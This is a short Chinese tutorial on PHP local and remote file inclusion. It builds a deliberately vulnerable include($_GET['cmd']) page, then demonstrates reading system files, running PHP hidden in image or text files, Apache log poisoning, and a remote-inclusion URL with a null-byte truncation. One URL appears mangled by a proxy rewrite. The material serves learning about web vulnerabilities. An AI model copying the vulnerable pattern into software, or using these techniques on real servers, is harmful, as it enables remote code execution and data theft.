本地文件包含
以www文件为例,我们在里面创建一个include.php文件
<?
include($_GET['cmd']);
?>
include()常见的文件包含函数之一,
$_GET['cmd'] 采用get方式获取参数cmd,例如url/include.php?cmd=...
在这后面加你想要打开的文件
然后,我们也可以创建一个木马文件phpinfo.php
<?php
phpinfo()
?>
我们可以试着打开这个文件,在同一目录下直接打开就行了,想用直接路径也可以
然后这个文件你也可以写其他内容,比如helloworld或者一句话木马
文件格式也可以是tx和jpg这些其他格式,只要内容是php代码就行,include函数并不在意文件是什么格式,内容有php代码,就可以解析
ok,因此我们可以利用本地文件包含漏洞读取一些本地系统的敏感信息
例如C:\windows\system.ini
包含Apache日志文件
当我们访问本地服务器时,apache日志便会记录
而当我们访问一个不存在的文件时也会被记录
比如 127.0.0.1/<?php phpinfo()?>
但是会被编码,当我们再次访问时,可以通过bp抓包将编码修改回去,并再次发送日志便会正确记录php代码,再次访问便可以执行
远程文件包含
首先我们得改一下php配置,打开php.ini
如果有off就改成On,这样include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含
实际操作的话,需要远端服务器,就不操作了
就是在本地有个上面include.php这样的文件,可以在远端web服务器上某一目录下创建一个phpinfo.php这样的文件建议后面加一个截断符,这样就可以成功读取
127.0.0.1/include.php?cmd=http://192.168.0.1/include/phpinfo.php%00123
今天就到这,加油